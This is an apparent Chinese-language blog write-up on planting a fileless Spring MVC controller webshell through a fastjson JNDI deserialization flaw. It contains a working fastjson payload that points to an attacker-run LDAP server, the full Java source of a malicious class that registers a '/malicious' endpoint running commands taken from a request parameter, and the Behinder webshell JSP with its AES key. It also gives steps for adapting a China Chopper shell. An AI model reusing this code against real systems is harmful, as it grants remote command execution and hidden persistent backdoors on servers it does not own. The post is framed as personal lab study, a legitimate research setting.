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1 基础

实际上java内存马的注入已经有很多方式了,我在学习中动手研究并写了一下针对spring mvc应用的内存马。

一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一个spring mvc的后端,并直接给了一个fastjson反序列化的页面,在假定的攻击中,通过jndi的利用方式让web端加载恶意类,注入controller。

一切工作都是站在巨人的肩膀上,参考文章均在最后列出。

1.1 fastjson反序列化和JNDI

关于fastjson漏洞产生的具体原理已有很多分析文章,这里使用的是fastjson1.24版本,poc非常简单

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

当web端使用fastjson对上面的json进行反序列化时,受到@type注解的指示,会通过反射创建com.sun.rowset.JdbcRowSetImpl类的对象,基于fastjson的机制web端还会自动调用这个对象内部的set方法,最后触发JdbcRowSetImpl类中的特定set方法,访问dataSourceName指定的服务端,并下载执行服务端指定的class文件,细节这里不做更详细的展开。

1.2 向spring mvc注入controller

学习了listener、filter、servlet的内存马后,想到看一看spring相关的内存马,但没有发现直接给出源代码的controller型内存马,所以学习并动手实现了一下(spring版本4.2.6.RELEASE)。

首先站在巨人的肩膀上,可以知道spring mvc项目运行后,仍然可以动态添加controller。普通的controller写法如下

通过@RequestMapping注解标明url和请求方法,编译部署后,spring会根据这个注解注册好相应的controller。动态注入controller的核心步骤如下

public class InjectToController{
public InjectToController(){
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public void test() {
xxx
}
}
  • 步骤1中的context可以理解为web端处理这个请求时,当前线程内所拥有的各种环境信息和资源
  • 步骤2中获取的mappingHandlerMapping对象是用于注册controller的
  • 步骤3中的反射是为了获得test这个Method对象,以便动态注册controller时,告知接收到给定url路径的请求后,用那个Method来处理,其中InjectToController类就是我们的恶意类
  • 步骤4定义的url对象是为了指定注入url,这个url就是我们的内存马路径
  • 步骤5是告知注入的url允许的请求方法
  • 步骤6中RequestMappingInfo填入的信息类似于@RequestMapping注解中的信息,即url、允许的请求方法等。是真正注册controller的步骤
  • InjectToController这个类就是我们的恶意类,其中定义了test方法,这个方法内存在执行命令,当然也可以替换成冰蝎、哥斯拉的webshell核心代码,以便使用这两个工具。InjectToController的完整代码在后面的章节可见

1.3 获取request和response

常用的jsp一句话webshell代码如下

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));

由于jsp文件被执行时,会自动获得了request这个资源,所以一句话木马不需要考虑如何获取request这个对象。但在我们注入controller的流程中,恶意java类的编译是由攻击者完成的,web端直接执行编译好的class文件,显然不可能像上面图片中用注解的方式在让test方法(InjectToController中的)的参数自带request, 所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ,通过spring的内部方法获取到request和response对象

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

如果spring mvc项目部署在tomcat下,也可以用针对tomcat获取requeset的方法,例如从ThreadLocal、Mbean和Thread.getCurrentThread获取(后方参考文献中已给出)

1.4 阻止重复添加controller (非必须)

经过调试发现,上面获取的mappingHandlerMapping中有一个mappingRegistry成员对象,而该对象下的urlLookup属性保存了已经注册的所有url路径,对mappingHandlerMapping进一步后发现,以上对象和属性都是私有的,且mappingRegistry并非mappingHandlerMapping中创建的,而是来自于基类AbstractHandlerMethodMapping。

所以对AbstractHandlerMethodMapping的源码进行了一番查看,发现通过其getMappingRegistry方法可以获取mappingRegistry,而urlLookup是其内部类MappingRegistry的私有属性,可以通过反射获取。

反射获取urlLookup和判断我们给定的url是否被注册的代码块如下

// 获取abstractHandlerMethodMapping对象,以便反射调用其getMappingRegistry方法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射调用getMappingRegistry方法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射获取urlLookup属性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判断我们想要注入的路径是否被已经存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}

2 实验

2.1 搞个spring mvc的测试环境

这里用idea做了一个maven+spring mvc+tomcat的测试环境,方便随时换spring、fastjson和tomcat的版本。这个Web应用的功能有两个:

  • /home/postjson,可以输入json并POST给/home/readjson
  • /home/readjson,使用fastjson解析json,触发反序列化的rce

2.2 恶意类源代码

通过JNDI注入让服务端执行的代码如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 可选步骤,判断url是否存在
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}
// 可选步骤,判断url是否存在
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
  • 由于fastjson反序列化时,自动下载并执行编译好的class文件,所以要在构造函数中写入注册controller的步骤
  • 反序列化时自动触发的构造函数是第一个构造函数,因为没有带参数
  • 由于registerMapping方法注册controller时需要给一个对象和这个对象内部的处理方法,而web端只下载了InjectToController这个类,再来一次JNDI去获取一个恶意类属实麻烦,所以用了InjectToController injectToController = new InjectToController("aaa");,这样就会进入第二个构造函数,而不会进入第一个构造函数无限循环。

2.3 测试

启动spring mvc项目,访问/项目/malicious路径,返回404

使用marshalsec开一个ldap的服务,并指定/Exploit这个reference对应的路径为192.168.x.x:8090/#InjectToController,再用python开一个web文件服务器

编译InjectToController.java,将编译好的class文件放到python开的web文件服务根目录下,访问/项目/home/postjson,并提交payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

payload提交后,会被fastjson进行反序列化,在这个过程中会触发JdbcRowSetImpl中的connect函数,并根据给定的dataSourceName发起LDAP请求,从开启的给定的LDAP服务端(1389端口)获得恶意类的地址,再去下载并执行恶意类(8090端口),可以看到payload攻击成功了

访问/malicious这个uri确定一下

2.4 注入菜刀webshell

只需要找一匹稳定的jsp菜刀马,稍加改造:

  • 把菜刀马的函数定义放在恶意类中
  • 在注入的controller代码中加入菜刀马的判断和执行部分(上面的test方法中)
  • 注意jsp菜刀马最后的out.print(sb.toString());改为response.getWriter().write(sb.toString());response.getWriter().flush();

2.5 注入冰蝎代码

2.5.1 冰蝎的服务端–shell.jsp

首先来看看冰蝎的shell.jsp文件,为了方便阅读,稍作加了一些换行。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
U(ClassLoader c){super(c);} //构造函数

public Class g(byte []b){
return super.defineClass(b,0,b.length); // 调用父类的defineClass函数
}
}
%>

<%
if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>

可以看出,该jsp的核心功能有三点

  • 为了方便地使用defineClass,创建了U这个类继承ClassLoader;
  • 使用java自带的包,解密AES加密数据
  • 使用defineClass加载AES解密后字节码,获得一个恶意类,利用newInstance创建这个类的实例,并调用equals方法

2.5.2 pageContext

shell.jsp中需要特别注意pageContext这个对象,它是jsp文件运行过程中自带的对象,可以获取request/response/session这三个包含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession方法。学艺不精,暂时没有找到从spring和tomcat中获取pageContext的方法。

但是从冰蝎的作者给出的提示可以知道,冰蝎3.0 bata7之后不在依赖pageContext,见github issue

又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可

所以注入的controller代码中,可以将pageContext换成一个Map,手动添加key和value即可,前面的恶意类源代码中已经给出了如何获取request/response/session

2.5.3 继承ClassLoader和调用defineClass

在2.5.1中提到需要继承ClassLoader后调用父类的defineClass,当然也可以用反射,但是这样更方便而已。对恶意类稍加改造,继承ClassLoader、定义新的构造函数、增加g函数、添加冰蝎的服务端代码

特别需要注意的是红框内的ClassLoader.getSystemClassLoader(),如果随意给定某个继承自ClassLoader的类,可能会出现报错java.lang.LinkageError : attempted duplicate class definition for name。这是因为需要使用getSystemClassLoader()获取创建ClassLoader时需要添加委派父级。

2.5.4 上冰蝎

文章目录
  1. 1. 1 基础
    1. 1.1. 1.1 fastjson反序列化和JNDI
    2. 1.2. 1.2 向spring mvc注入controller
    3. 1.3. 1.3 获取request和response
    4. 1.4. 1.4 阻止重复添加controller (非必须)
  2. 2. 2 实验
    1. 2.1. 2.1 搞个spring mvc的测试环境
    2. 2.2. 2.2 恶意类源代码
    3. 2.3. 2.3 测试
    4. 2.4. 2.4 注入菜刀webshell
    5. 2.5. 2.5 注入冰蝎代码
      1. 2.5.1. 2.5.1 冰蝎的服务端–shell.jsp
      2. 2.5.2. 2.5.2 pageContext
      3. 2.5.3. 2.5.3 继承ClassLoader和调用defineClass
      4. 2.5.4. 2.5.4 上冰蝎